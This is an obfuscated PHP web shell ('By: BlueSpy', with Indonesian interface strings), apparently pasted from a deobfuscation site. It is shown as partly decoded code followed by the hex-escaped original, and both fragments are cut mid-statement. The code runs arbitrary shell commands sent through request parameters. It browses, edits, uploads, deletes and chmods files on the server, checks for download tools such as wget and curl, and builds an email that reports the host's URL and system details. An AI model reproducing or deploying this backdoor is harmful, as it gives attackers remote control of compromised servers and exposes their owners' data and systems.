"; b_IR8QcFgQ: if (!$IIIIIIIllIll) { goto lx0117bEOq; } $IIIIIIIllIIl .= "Content-Type: {$IIIIIIIllI11}; name="{$IIIIIIIllIll}"\xd\xa"; lx0117bEOq: goto njOKht_MR_; Oe1_2R1SuR: $IIIIIIIIlII1 = "<font color="#FF0000">Error: Gagal menghapus arsip (file)!</font>"; goto XCbBV0wwYa; QRx1kt8Imz: $IIIIIIIIlII1 = "<font color="#FFFFFF"><font color="#FFFFFF">{$file}</font>, Berhasil \xd\xa\xd
menghapus arsip (file)!</font>"; XCbBV0wwYa: goto TCmnoVAwGf; Ap7DeTAPdj: HhJUqqzSVi: if (!$IIIIIIIllIll) { goto Aaw9kjGSkK; } $IIIIIIIllIIl .= "{$IIIIIIIlllII}
\xa"; Aaw9kjGSkK: if (!$IIIIIIIllIll) { goto r1Mwezv1Fb; } goto WbitVuTfP1; r7mfluI1gp: echo "<br><table border="0" cellpadding="0" cellspacing="0" style="border-collapse: \xd
\xd
collapse; font-family: Verdana; font-size: 10px" width="100%">"; echo "<tr>"; echo "<td width="8%">"; echo " <b>SYSTEM </b> </td> "; echo "<td width="92%">: {$IIIIIIIIII1l}</td>"; goto Je3JgAC0og; jMcD3AC57I: $cmd = @$_POST["cmd"]; VMLMeChLTz: $cmd = stripslashes(trim($cmd)); $IIIIIIIIl1ll = cmd($cmd); $IIIIIIIIl1l1 = count($IIIIIIIIl1ll); goto UPpzNPU4Hp; ibXajJlDH3: gED136UbMh: $IIIIIIIlI111 = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; $IIIIIIIllIII = "OS = " . $IIIIIIIIII1l . "<BR>UNAME = " . $IIIIIIIIIlII . "<BR>PHPVersion = " . $IIIIIIIIIlIl . "<BR>Safe Mode = " . $IIIIIIIIIllI . "<BR><font color=blue>http://" . $IIIIIIIlI111 . "</font><BR>Ingat jangan pakai Injek Ini.<BR>By: BlueSpy"; $IIIIIIIllIIl = "From: {$_SERVER["HTTP_HOST"]} <{$IIIIIIIllII1}>\xd\xaReply-To: {$IIIIIIIllIlI}\xd
"; $IIIIIIIllIIl .= "MIME-Version: 1.0\xd
"; goto kF81yT74Q9; LD5lo116wr: echo "<!--webbot bot="FileUpload" u-file="_private/form_results.csv" \xd
\xas-format="TEXT/CSV" s-label-fields="TRUE" --><fieldset style="border: 1px solid \xd\xa
#FFFFFF; padding: 2">"; if (is_writable("{$chdir}")) { goto y5F230gtjG; } if (strtoupper(substr($IIIIIIIIII1l, 0, 3) == "WIN")) { goto JLa1ZTnX6O; } echo "<legend>Dir NO: {$chdir} - <a href="#[New Dir]" \xd\xa\xd\xaonclick="Mkdir('{$chdir}');">Folder Baru</a> | <a href="#[New File]" \xd\xa\xd\xaonclick="Newfile('{$chdir}')">CRIAR ARQUIVO</a> | <a
\xa
\xahref="{$IIIIIIIIII1I}&action=backtool&chdir={$chdir}&write=no">Kembali</a></legend>
\xd
"; goto ChJti8dsEj; goto LxfVO7o1kQ; tm8E5kK0vv: $IIIIIIIlIIll = htmlspecialchars($IIIIIIIlIIll); function IIIIIIIlIIl1() { goto hRYOXC6VVu; XEhNC5Kr7q: u6z2QveSK3: return $IIIIIIIlII1I; goto HjhQ7KoJm3; hRYOXC6VVu: $IIIIIIIlII1I = ''; if (!@file_exists("/usr/bin/wget")) { goto JaocvlFP2s; } $IIIIIIIlII1I .= "wget "; JaocvlFP2s: if (!@file_exists("/usr/bin/fetch")) { goto LQLQ8Q8d1A; } goto t3pm0EoduI; t3pm0EoduI: $IIIIIIIlII1I .= "fetch "; LQLQ8Q8d1A: if (!@file_exists("/usr/bin/curl")) { goto JtEaeN8QfO; } $IIIIIIIlII1I .= "curl "; JtEaeN8QfO: goto RwNFFP2JsR; RwNFFP2JsR: if (!@file_exists("/usr/bin/GET")) { goto oeeEMEE18x; } $IIIIIIIlII1I .= "GET "; oeeEMEE18x: if (!@file_exists("/usr/bin/lynx")) { goto u6z2QveSK3; } $IIIIIIIlII1I .= "lynx "; goto XEhNC5Kr7q; HjhQ7KoJm3: } echo "<form method="POST" name="cmd" \xd
\xaaction="{$IIIIIIIIII1I}&action=cmd&chdir={$chdir}">"; echo "<fieldset style="border: 1px solid #FFFFFF; padding: 2">"; echo "<legend style='color:#0F0'>INFO</legend>"; goto r7mfluI1gp; Dy_ksVD1pH: $IIIIIIIIlII1 = "<font color="#FFFFFF"><font color="#FFFFFF">{$newdir}</font>, folder \xd\xaCreated. </font>"; GDjq9F_QA8: goto rogkI78w0M; W4PhOevde7: $newfile = $_GET["newfile"]; goto cgJoreVdpL; GNnrVWjarH: echo "</tr>"; if (!strtoupper(substr($IIIIIIIIII1l, 0, 3) != "WIN")) { goto ixxOmxSmUw; } $IIIIIIIlII1l = IIIIIIIlIIl1(); if (!($IIIIIIIlII1l == '')) { goto wLKZcMpeGD; } $IIIIIIIlII1l = "???"; goto bI6qWEvbrh; psoKwOJmmN: HY8t4C7JT5: echo "<td align="right" {$IIIIIIIlIllI}> {$IIIIIIIlI1ll} KB</td>"; if ($IIIIIIIlIll1 == "edit") { goto YJMuiJwZsR; } echo "<td align="center" {$IIIIIIIlIllI}> <a href="#{$file}" \xd
onclick="Rename('{$chdir}', '{$file}', '{$IIIIIIIlIll1}')">Rename</a> | <a
\xa\xd\xahref="{$IIIIIIIIII1I}&action=del&chdir={$chdir}&file={$file}&type=dir">Del</a>
\xd\xa| <a href="#{$file}" onclick="ChMod('{$chdir}', '{$file}')">Chmod</a> | Copy </td>"; goto VL0GV1Blkp; goto neAemP4cgq; KSHgg23NWr: if (strtoupper(substr($IIIIIIIIII1l, 0, 3) == "WIN")) { goto WSWlXMRcNv; } echo "<legend>Dir <b>YES</b>: {$chdir} - <a href="#[New Dir]"
\xa\xd
onclick="Mkdir('{$chdir}');">NEW DIR</a> | <a href="#[New File]" \xd
\xaonclick="Newfile('{$chdir}')">NEW FILE</a> | <a
\xa
\xahref="{$IIIIIIIIII1I}&action=backtool&chdir={$chdir}&write=yes">Kembali</a></legend
\xa\xd\xa>"; goto juOpqGe42D; WSWlXMRcNv: echo "<legend style='color:#0F0'>Dir <b>YES</b>: {$chdir} - <a href="#[New Dir]"
\xa\xd\xaonclick="Mkdir('{$chdir}');">NEW DIR</a> | <a href="#[New File]" \xd
\xd\xaonclick="Newfile('{$chdir}')">NEW FILE</a> | <a
\xa
href="{$IIIIIIIIII1I}&action=cmd&chdir={$chdir}&cmd={$IIIIIIIlII11}">REMOTO</a></legend>"; goto Ic7vx2YEVs; Iw9vjJcydL: $IIIIIIIlI1I1 = @fileperms("{$chdir}" . "{$file}"); if (!($IIIIIIIlI1I1 == '')) { goto S93xFqAEI3; } $IIIIIIIlI1I1 = "???"; S93xFqAEI3: $IIIIIIIlI1ll = @filesize("{$chdir}" . "{$file}"); goto IZiCevgX0Q; urKY931eXT: HI0jDA_0q0: $IIIIIIIIlII1 = "<font color="#FFFFFF"><font
\xa
color="#FFFFFF">{$_FILES["userfile"]["name"]}</font>, archieve valid, uploading complete.
\xd\xa</font>"; H5Oo2tdbPA: goto rogkI78w0M; mxODlrzw0m: goto FD3M4LenKf; yvgcJFI3bQ: ReHDqEEqwb: $file = $_GET["file"]; $IIIIIIII11lI = ''; $IIIIIIII11ll = "{$chdir}" . "{$file}"; $IIIIIIII11lI = @file_get_contents($IIIIIIII11ll); goto tIFHGQHYSK; y1EduMQnCM: $IIIIIIIlI1ll = "???"; E1OnjLSXRq: fqRDRW5GGk: echo "<tr>"; echo "<td align="center" {$IIIIIIIlIllI}> {$IIIIIIIlI1I1}</td>"; goto b3oROrD6fU; qXCK2LPlSf: echo "<td width="92%">: <input type="text" size="70" name="cmd" value="{$IIIIIIIlIIll}"
style=" font-size: 8 pt; border: 1px solid #FFFFFF"> <input type="submit" \xd
name="action" value="CMD" style=" font-size: 8 pt; border: 1px solid \xd
#FFFFFF"></td>"; echo "</tr>"; echo "</table><br>"; echo "</fieldset></form>"; echo "<form method="POST" action="{$IIIIIIIIII1I}&action=upload&chdir={$chdir}" \xd
\xd\xaenctype="multipart/form-data">"; goto LD5lo116wr; pqcausJeAC: uLwCZzKDFb: $IIIIIIIIlII1 = "<font color="#FFFFFF"><font color="#FFFFFF">{$file}</font>, Berhasil \xd\xa\xd\xamenghapus folder!</font>"; AfUgWGXH8I: GDrVi5KnZV: goto rogkI78w0M; goto U3dy2VPzmB; sXJFa4Xt2v: echo "function ChMod(chdir, file) {"; echo "var o = prompt('Chmod: - Contoh: 0777', '');"; echo "if (o) {"; echo "window.location="" + '{$IIIIIIIIII1I}&action=chmod&chdir=' + chdir + '&file=' + file + \xd\xa\xd\xa'&chmod=' + o + "";"; echo "}"; goto AKu9fk2qYf; CHrgbSnVGX: if (is_readable("{$chdir}" . "{$file}")) { goto h0TAxT0BnY; } echo "<td {$IIIIIIIlIllI}> {$file} </td>"; goto XcN6Afhvzm; h0TAxT0BnY: echo "<td {$IIIIIIIlIllI}> <a
\xd
href="{$IIIIIIIIII1I}&action=edit&chdir={$chdir}&file={$file}">{$file}</a> </td>"; goto pCQJSEz2ve; DF0s1YFBYR: echo " </tr>"; echo " <tr>"; echo " <td width="100%" colspan="4"> </td>"; echo " </tr></table> "; echo " <table border="1" cellpadding="2" cellspacing="0" width="100%">"; goto SagRXZUM0X; AKu9fk2qYf: echo "}"; echo "function Rename(chdir, file, mode) {"; echo "if (mode == 'edit') {"; echo "var o = prompt('Rename Nama File '+ file + ' menjadi:', '');"; echo "}"; goto kf1OUTLUNO; iu0_wjj4vs: EmtkTD_FjW: tZk94PI9_l: goto HY8t4C7JT5; ckMlJvicpS: if ($IIIIIIIlIll1 == "chdir") { goto mC4Llr6uxH; } goto CHrgbSnVGX; WbitVuTfP1: $IIIIIIIllIIl .= "--{$IIIIIIIllIl1}--"; r1Mwezv1Fb: $IIIIIIIlllI1 = "injekan anyar Bos"; @(include "{$IIIIIIIIIll1}"); goto xMs_CmduNb; bI6qWEvbrh: wLKZcMpeGD: echo "<tr>"; echo "<td width="8%">"; echo "<b>Methods </b></td> "; echo "<td width="92%">: {$IIIIIIIlII1l}</td>"; goto LRAKF0Exgw; xMs_CmduNb: echo " </table>\xd\xa </fieldset></form>
\xa</div></center>\xd
</body>\xd\xa
</html>
"; ?>
Did this file decode correctly?
Original Code
oto HdRvIa9MBa; SagRXZUM0X: echo "\40\x20\x20\x20\74\164\162\40\x62\147\143\x6f\154\157\x72\75\42\x23\x30\60\60\42\x20\141\154\151\147\156\75\x22\x63\x65\x6e\164\145\x72\42\x3e\x20"; echo "\x20\40\x20\x20\x20\x20\x3c\x74\x64\x20\76\40\x50\145\x72\x6d\x69\x73\x69\x6f\156\x3c\57\164\x64\76"; echo "\x20\40\x20\40\x20\40\74\164\x64\x20\x3e\x20\116\141\155\141\x20\106\151\154\x65\x20\74\57\x74\x64\x3e"; echo "\x20\40\x20\40\x20\40\x3c\x74\144\x20\76\x20\113\x61\160\141\x73\151\x74\x61\x73\x20\74\x2f\164\x64\x3e"; echo "\x20\x20\40\x20\x20\40\74\164\144\40\76\40\103\x6f\155\155\x61\x6e\x64\x3c\57\164\144\x3e"; goto VPzb7HOGy1; KI2QAd1BFT: if (@extension_loaded("\x73\x68\155\157\160")) { goto OVRFkDlrd4; } echo "\115\157\x64\165\x6c\145\x3a\x20\x3c\x62\76\x73\x68\155\157\160\74\57\x62\76\40\164\x69\144\x61\153\x20\x64\x69\155\x75\141\x74\41\74\57\x62\x72\76"; goto mHRoy0Pjot; OVRFkDlrd4: echo "\115\x6f\144\x75\x6c\x65\x3a\40\x3c\x62\76\x73\150\155\157\x70\74\57\142\76\40\x6c\x6f\141\x64\x65\144\x21\x3c\x2f\142\x72\x3e"; goto sNd2UA18GT; tIFHGQHYSK: $IIIIIIII11lI = htmlspecialchars($IIIIIIII11lI); $IIIIIIII111I = $_SERVER["\110\x54\x54\120\x5f\122\x45\106\x45\x52\x45\x52"]; echo "\74\160\x20\141\x6c\151\x67\x6e\75\x22\x63\145\x6e\164\145\x72\42\x3e\105\144\x69\x74\x69\156\x67\40{$file}\40\x2e\x2e\x2e\x3c\57\160\76"; echo "\74\x74\141\x62\154\x65\x20\x62\x6f\162\144\x65\162\x3d\x22\60\x22\x20\143\x65\x6c\x6c\160\141\144\144\x69\x6e\147\75\x22\60\x22\x20\143\x65\x6c\x6c\x73\160\x61\x63\151\x6e\147\x3d\x22\x30\42\x20\163\164\171\154\145\x3d\x22\142\x6f\162\144\145\162\55\143\x6f\x6c\x6c\x61\160\x73\145\72\40\xd\xa\xd\xa\143\x6f\x6c\154\x61\160\163\x65\x22\x20\x77\151\x64\164\x68\75\42\61\60\60\45\x22\x20\x69\144\75\42\x65\x64\151\x74\141\143\141\x6f\x22\x3e"; echo "\x3c\164\x72\x3e"; goto nbHDTQh1tO; WJ3L2gmFbv: echo "\74\57\x74\x61\x62\154\x65\x3e"; goto rogkI78w0M; UNloONDzWg: $IIIIIIII11ll = "{$chdir}" . $_GET["\146\151\x6c\x65"]; $IIIIIIII111l = $_POST["\123\x31"]; goto IMjTQaKEAj; l1JAzV7BlL: nfDu69ccqO: $chdir = $_GET["\x63\x68\144\151\162"]; zHApBX6slW: if (@chdir("{$chdir}")) { goto P1_1gLYBRQ; } $IIIIIIIIlII1 = "\x3c\146\x6f\156\x74\40\x63\157\154\x6f\162\75\x22\x23\x46\106\x30\60\x30\60\42\x3e\105\x72\162\157\162\72\40\103\157\165\154\x64\x20\156\x6f\x74\x20\145\x6e\x74\x65\162\40\146\157\x6c\144\x65\162\x21\x3c\x2f\x66\157\156\x74\x3e"; goto MHyicPQ1q3; n5CEZVi1We: egHjvFlMaB: $IIIIIIIlIlIl = 3; ngtj_82khD: tgoAiZA2YN: goto eRyK09DYDl; goto xEbtCdHKE2; zIuKERCkce: goto HP9cQOLibM; B5p6fGzp9a: zip_close($IIIIIIII1I11); Z3DLBzyzXZ: goto rogkI78w0M; goto yvgcJFI3bQ; ofp7gPo10M: goto o19SubiE1l; NIyDhepF_3: $IIIIIIIlI1II = explode("\x2f", $chdir); $IIIIIIIlI1Il = str_replace($IIIIIIIlI1II[$IIIIIIIlIl1l - 1] . "\x2f", '', $chdir); A8RZw6pjuq: goto Iw9vjJcydL; XCuDYMzrOu: echo "\167\x69\x6e\x64\157\x77\x2e\154\x6f\x63\141\164\151\157\x6e\75\42\x22\x20\53\x20\x27{$IIIIIIIIII1I}\46\141\143\164\151\x6f\156\x3d\x63\157\160\171\x26\143\150\x64\x69\x72\75\47\40\x2b\x20\143\150\144\x69\162\x20\x2b\40\x27\46\146\x69\x6c\145\75\47\x20\53\x20\x66\151\154\x65\x20\53\40\15\12\15\xa\x27\x26\x66\x63\x6f\x70\x79\x3d\x27\40\x2b\40\157\x20\x2b\x20\42\x22\73"; echo "\175"; echo "\x7d"; echo "\146\165\156\x63\164\151\x6f\156\x20\115\153\144\x69\162\x28\143\x68\x64\151\162\x29\x20\173"; echo "\166\141\x72\x20\157\x20\75\40\x70\x72\157\x6d\160\x74\x28\47\x4e\x61\155\x61\x20\x46\x6f\154\144\x65\162\77\x27\54\40\47\106\x6f\154\144\145\x72\137\102\141\x72\165\47\x29\73"; goto NPNbn1YxBZ; AAt8bTUfp_: goto X5B1Wf8rAf; HaAqAJ6bTc: Fpwr3Z0j0V: if (!($IIIIIIIIl11l <= $IIIIIIIIl1l1)) { goto xkvelwEa9j; } $IIIIIIIIlII1 .= "\74\160\40\163\164\171\x6c\145\75\x22\143\x6f\x6c\x6f\162\x3a\x20\43\106\106\x46\106\x46\106\73\164\x65\170\164\55\x61\154\x69\147\156\x3a\40\154\145\146\x74\x3b\x66\157\x6e\x74\55\x66\141\x6d\151\x6c\x79\72\x20\xd\xa\xd\xa\47\114\x75\143\151\144\x61\40\103\157\x6e\x73\x6f\x6c\145\47\73\146\x6f\156\164\55\163\x69\172\145\x3a\40\61\x32\x70\x78\73\155\141\x72\147\x69\x6e\40\x32\x22\76\x20" . @$IIIIIIIIl1ll[$IIIIIIIIl11l] . "\x3c\x2f\x70\76"; goto ij9EVaiVD6; V_RfzltOuv: goto rZ2KJfQlvb; jgJ0pyCFgZ: $IIIIIIIIlII1 = "\x3c\x66\x6f\156\164\40\x63\x6f\154\x6f\162\75\42\x23\x46\x46\x46\106\106\x46\42\x3e{$file}\74\x2f\x66\x6f\x6e\164\x3e\54\x20\74\146\157\x6e\x74\x20\143\157\154\x6f\162\75\x22\x23\106\x46\106\106\x46\106\x22\x3e\x64\x69\163\x61\154\x69\x6e\40\xd\12\xd\12\155\x65\156\x6a\x61\x64\151\x3c\x2f\x66\157\x6e\x74\76\x20\x3c\x66\157\x6e\x74\40\143\157\154\x6f\162\x3d\42\x23\x46\106\106\x46\x46\106\x22\76{$copy}\74\x2f\146\157\156\164\x3e\x20\x3c\x66\x6f\156\164\x20\x63\x6f\x6c\x6f\x72\x3d\x22\43\x46\106\x46\106\x46\106\42\x3e\x20\xd\xa\xd\12\102\x65\162\150\141\163\151\x6c\x21\x3c\57\x66\157\x6e\x74\76"; rZ2KJfQlvb: goto rogkI78w0M; goto XhCnAwoGq0; b3oROrD6fU: if (@is_writable("{$chdir}" . "{$file}")) { goto ckMlJvicpS; } if ($IIIIIIIlIll1 == "\143\150\x64\x69\x72") { goto XIWDS6Ai_v; } if (@is_readable("{$chdir}" . "{$file}")) { goto PtqXkBbBU6; } echo "\74\164\144\40{$IIIIIIIlIllI}\76\40{$file}\x3c\x2f\x74\x64\76"; goto AzEY7BYPT1; goto uOrlaHJ5_8; UPpzNPU4Hp: $IIIIIIIIl11l = 0; $IIIIIIIIlII1 = ''; $IIIIIIIIlII1 .= "\x3c\x70\40\x73\164\x79\154\x65\75\42\x63\157\154\x6f\x72\72\40\x23\x46\x46\106\106\x46\x46\73\x74\145\170\164\x2d\141\154\x69\x67\156\x3a\x20\143\145\156\164\145\x72\x3b\146\157\x6e\164\55\146\x61\x6d\151\x6c\x79\72\x20\47\114\165\x63\151\144\x61\40\xd\12\xd\xa\103\x6f\156\163\x6f\x6c\x65\x27\73\x66\x6f\x6e\x74\x2d\x73\151\x7a\x65\x3a\40\61\62\x70\x78\73\155\141\x72\147\151\x6e\40\x32\42\x3e\110\141\163\151\x6c\x20\x3a\x20\74\142\76" . $cmd . "\74\57\x62\76\74\57\x70\76"; if ($IIIIIIIIl1ll) { goto HaAqAJ6bTc; } $IIIIIIIIlII1 .= "\x3c\x70\40\163\164\171\154\x65\75\x22\x63\x6f\x6c\x6f\x72\x3a\x20\43\x46\106\x30\x30\60\60\73\x74\x65\x78\x74\55\x61\154\151\x67\x6e\x3a\40\x63\145\156\x74\145\162\73\x66\157\156\x74\x2d\x66\141\155\151\154\x79\72\x20\x27\x4c\x75\x63\151\144\141\40\15\xa\15\12\103\x6f\156\163\157\x6c\x65\x27\73\146\157\156\x74\x2d\x73\151\172\145\72\40\x31\62\160\x78\73\x6d\x61\x72\147\x69\x6e\40\x32\42\x3e\105\162\x72\x6f\162\72\40\143\x6f\x6d\141\x6e\144\157\x20\x6e\x61\157\40\x61\143\x65\151\164\x6f\56\74\x2f\x70\76"; goto AAt8bTUfp_; njOKht_MR_: if (!$IIIIIIIllIll) { goto WCNe_v1exn; } $IIIIIIIllIIl .= "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\124\162\141\x6e\x73\146\x65\x72\x2d\105\156\143\x6f\x64\x69\156\147\72\40\x62\x61\163\145\x36\x34\xd\12"; WCNe_v1exn: if (!$IIIIIIIllIll) { goto HhJUqqzSVi; } $IIIIIIIllIIl .= "\103\x6f\x6e\x74\145\156\164\x2d\104\x69\163\x70\x6f\163\x69\x74\151\157\x6e\72\x20\x61\164\x74\x61\143\x68\155\145\156\164\x3b\40\15\12\15\xa\146\x69\154\145\156\141\155\145\x3d\x22{$IIIIIIIllIll}\x22\xd\12\15\12"; goto Ap7DeTAPdj; RVzxZg6OvW: c26Uao9SQh: rI6B1CqNUB: rogkI78w0M: $IIIIIIIlIIll = ''; if (empty($_GET["\143\155\x64"])) { goto KJxrYv17r7; } goto GMq0ppA3k2; weQjLCGz2D: GBepZ8NFVr: $IIIIIIIIII1l = @PHP_OS; $IIIIIIIIIlII = @php_uname(); $IIIIIIIIIlIl = @phpversion(); $IIIIIIIIIllI = @ini_get("\163\x61\x66\145\137\155\x6f\x64\145"); goto V7CQkJcuug; XhCnAwoGq0: Ymq1mfNy3M: if (empty($_GET["\x63\x6d\144"])) { goto m334JfcEKJ; } $cmd = @$_GET["\143\155\x64"]; m334JfcEKJ: if (empty($_POST["\143\155\x64"])) { goto VMLMeChLTz; } goto jMcD3AC57I; fHrAzQGu1X: $IIIIIIII1Ill = -3842685; $IIIIIIII1Il1 = @shmop_write($IIIIIIII1II1, $IIIIIIII1IlI, $IIIIIIII1Ill); if (!($IIIIIIII1Il1 != strlen($IIIIIIII1IlI))) { goto wZojnUJWAj; } echo "\103\157\165\154\x64\x6e\47\x74\x20\x77\162\151\x74\x65\x20\x74\150\145\40\145\x6e\164\151\x72\145\40\x6c\x65\x6e\x67\x74\x68\x20\157\x66\x20\xd\xa\15\12\144\x61\x74\141\xd\12"; wZojnUJWAj: goto OdYNIkBE4R; k9IWPDfsaW: @($IIIIIIIII1ll = fopen($IIIIIIII11ll, "\x77")); @($IIIIIIIlIIIl = fwrite($IIIIIIIII1ll, $IIIIIIII111l)); @fclose($IIIIIIIII1ll); if (!($IIIIIIIII1ll && $IIIIIIIlIIIl)) { goto c26Uao9SQh; } $IIIIIIIIlII1 = "\74\x66\157\x6e\x74\x20\143\157\154\157\x72\x3d\x22\x23\x46\x46\x46\x46\x46\x46\x22\x3e{$_GET["\x66\151\x6c\x65"]}\x3c\57\146\157\x6e\164\x3e\x2c\40\x3c\146\x6f\x6e\164\x20\xd\xa\15\12\143\157\154\x6f\x72\75\x22\43\106\x46\x46\x46\x46\x46\x22\x3e\x62\145\162\150\141\163\151\x6c\40\144\x69\x65\x64\x69\x74\x21\74\x2f\146\157\156\x74\x3e"; goto RVzxZg6OvW; uOrlaHJ5_8: PtqXkBbBU6: echo "\x3c\164\x64\40\40{$IIIIIIIlIllI}\x3e\x20\74\x61\40\xd\xa\xd\12\150\x72\x65\146\x3d\42{$IIIIIIIIII1I}\46\141\155\160\73\141\x63\x74\x69\x6f\x6e\75\145\144\151\164\x26\x61\155\x70\x3b\143\x68\x64\x69\162\x3d{$chdir}\46\x61\x6d\160\x3b\x66\x69\x6c\145\x3d{$file}\42\76{$file}\x3c\57\141\76\40\74\x2f\x74\144\76"; AzEY7BYPT1: goto tZk94PI9_l; XIWDS6Ai_v: goto chK9IBfJRz; TJnss5Q0QO: if (@$_GET["\141\143\x74\151\157\156"] == "\x63\x68\155\x6f\x64") { goto DS7tBeyI6Y; } if (@$_GET["\x61\143\164\x69\157\156"] == "\162\x65\x6e\141\x6d\145") { goto GlnGXkgbaD; } if (@$_GET["\141\x63\x74\151\x6f\156"] == "\143\x6f\x70\171") { goto QzHaEAlMg3; } if (@$_GET["\x61\143\x74\x69\x6f\156"] == "\143\155\144") { goto Ymq1mfNy3M; } if (@$_GET["\x61\x63\164\151\157\156"] == "\163\x61\x66\145\155\157\x64\x65") { goto FMbnWs1BCp; } goto xgytTSbuMb; clMsF11Lza: $IIIIIIIIlIll = $chdir; $IIIIIIIIlIl1 = $IIIIIIIIlIll . $_FILES["\x75\163\x65\x72\x66\x69\154\x65"]["\x6e\x61\155\145"]; if (@move_uploaded_file($_FILES["\165\163\x65\x72\146\151\154\145"]["\x74\x6d\160\137\156\141\x6d\145"], $IIIIIIIIlIll . $_FILES["\x75\x73\x65\x72\x66\151\154\x65"]["\156\141\155\145"])) { goto HI0jDA_0q0; } $IIIIIIIIlII1 = "\74\x66\x6f\156\x74\40\143\x6f\x6c\157\162\75\42\x23\x46\106\60\x30\60\x30\42\x3e\105\x72\162\157\162\x3a\40\143\x6f\x75\x6c\144\x6e\164\40\165\x70\154\x6f\x61\x64\40\x66\x69\x6c\145\40\157\156\x20\x73\145\162\166\145\x72\x2e\x3c\x2f\x66\x6f\156\164\76"; goto H5Oo2tdbPA; goto urKY931eXT; EQgHVIF0eU: echo "\x76\141\x72\40\157\40\75\40\160\162\157\x6d\x70\164\50\47\x4e\x61\x6d\x61\x20\x46\x69\154\145\77\47\x2c\x20\47\116\145\x77\106\x69\x6c\x65\x2e\x74\x78\164\47\51\x3b"; echo "\x69\146\x20\x28\157\51\x20\173"; echo "\x77\x69\156\144\157\x77\x2e\x6c\157\143\x61\x74\151\x6f\156\x3d\42\x22\40\x2b\40\47{$IIIIIIIIII1I}\46\x61\143\164\x69\x6f\x6e\75\156\145\x77\x66\x69\x6c\x65\x26\143\x68\x64\x69\162\x3d\47\x20\x2b\x20\143\150\144\x69\x72\40\53\x20\x27\x26\156\145\167\146\x69\154\x65\75\x27\40\53\40\x6f\x20\x2b\40\15\xa\xd\xa\42\42\x3b"; echo "\x7d"; echo "\x7d"; goto MIHrqQ0mzg; FVAbwh_olH: RAcNQAYB5z: if (!(@substr("{$chdir}", strlen($chdir) - 1, 1) != "\57")) { goto ew2RMC8p2Q; } $chdir .= "\57"; ew2RMC8p2Q: if (!($file == "\x2e\56\x2f")) { goto A8RZw6pjuq; } goto n0cx50MSOM; GMq0ppA3k2: $IIIIIIIlIIll = @$_GET["\143\x6d\x64"]; KJxrYv17r7: if (empty($_POST["\x63\155\144"])) { goto z0KOFeAxZc; } $IIIIIIIlIIll = @$_POST["\x63\x6d\144"]; z0KOFeAxZc: goto tm8E5kK0vv; LxfVO7o1kQ: JLa1ZTnX6O: echo "\74\154\x65\147\145\156\x64\x3e\x44\x69\162\40\x4e\117\72\40{$chdir}\x20\55\40\x3c\x61\x20\150\162\x65\x66\75\42\x23\x5b\x4e\x65\x77\x20\104\151\162\x5d\x22\x20\xd\xa\15\12\157\156\x63\154\x69\x63\153\x3d\42\x4d\x6b\144\x69\162\50\47{$chdir}\x27\x29\73\42\x3e\103\x52\111\101\122\40\x44\x49\122\x45\x54\x4f\x52\x49\x4f\74\x2f\x61\x3e\x20\x7c\x20\74\141\x20\150\162\145\146\x3d\42\43\133\x4e\x65\x77\40\106\x69\154\x65\x5d\x22\x20\15\12\15\12\157\156\x63\x6c\x69\143\x6b\75\42\116\x65\x77\x66\151\154\145\50\x27{$chdir}\47\51\42\x3e\103\x52\x49\x41\122\x20\x41\122\121\x55\111\x56\117\74\57\141\76\x20\174\40\74\x61\x20\15\xa\xd\12\150\x72\x65\x66\75\x22{$IIIIIIIIII1I}\x26\141\x6d\160\73\141\143\164\151\157\x6e\x3d\143\x6d\144\46\x61\x6d\x70\73\143\x68\144\151\162\75{$chdir}\x26\141\x6d\160\x3b\143\x6d\144\75{$IIIIIIIlII11}\x22\x3e\122\x45\x4d\117\x54\117\74\57\x61\76\x3c\x2f\x6c\x65\147\x65\156\x64\x3e"; ChJti8dsEj: goto fnEtjJc49d; y5F230gtjG: goto KSHgg23NWr; QMBTwuHKTV: goto jWtCyA1uf2; QI0JOO8AjY: $IIIIIIIIlII1 = "\x3c\x66\x6f\156\x74\40\143\x6f\x6c\x6f\162\x3d\42\43\106\106\x46\x46\x46\x46\42\76\x43\150\x6d\157\x64\40\x64\x61\x72\151\x3c\x2f\x66\157\x6e\164\x3e\40\x3c\146\x6f\x6e\x74\40\15\12\15\12\143\x6f\154\x6f\x72\x3d\42\43\x46\x46\x46\x46\x46\106\42\x3e{$_GET["\146\151\x6c\145"]}\x3c\57\146\x6f\156\164\x3e\x20\x3c\146\x6f\156\164\40\143\157\x6c\157\x72\x3d\x22\x23\x46\x46\x46\106\106\106\42\x3e\x62\145\x72\165\142\x61\x68\x20\x6d\x65\156\152\x61\x64\151\x3c\57\146\x6f\156\x74\76\x20\xd\12\15\12\74\x66\157\x6e\164\x20\143\157\154\x6f\162\75\x22\43\x46\106\106\x46\106\x46\x22\x3e{$chmod}\74\x2f\x66\x6f\156\164\76\x20\x3c\146\157\x6e\164\40\x63\x6f\154\x6f\162\x3d\42\43\x46\x46\x46\106\106\106\42\x3e\x3a\40\123\x75\x6b\163\145\x73\41\74\57\x66\157\x6e\164\x3e"; jWtCyA1uf2: goto rogkI78w0M; goto KRB1hPdTyb; ij9EVaiVD6: $IIIIIIIIl11l++; goto Fpwr3Z0j0V; xkvelwEa9j: X5B1Wf8rAf: goto rogkI78w0M; goto hiFbppM4A0; VPzb7HOGy1: echo "\x20\x20\x20\x20\x20\74\57\x74\x72\x3e"; $IIIIIIIlIlIl = 0; eRyK09DYDl: if (!(false !== ($file = readdir($IIIIIIIII1ll)))) { goto cKQUKTrNkd; } if (!($file != "\56")) { goto tgoAiZA2YN; } goto fmJwCcx_JQ; Boln0X8MhN: $IIIIIIIIIlIl = @phpversion(); $IIIIIIIIIllI = @ini_get("\163\141\146\145\137\x6d\x6f\144\x65"); if ($IIIIIIIIIllI == '') { goto ELQ5V1aK8x; } $IIIIIIIIIllI = "\74\151\76{$IIIIIIIIIllI}\74\x2f\x69\x3e"; goto VcJiUFnLw3; goto C3fefUrsMH; Zsx7n_v38F: goto bh1e79yb0a; DKv3V2Xb_I: $IIIIIIIIlII1 = 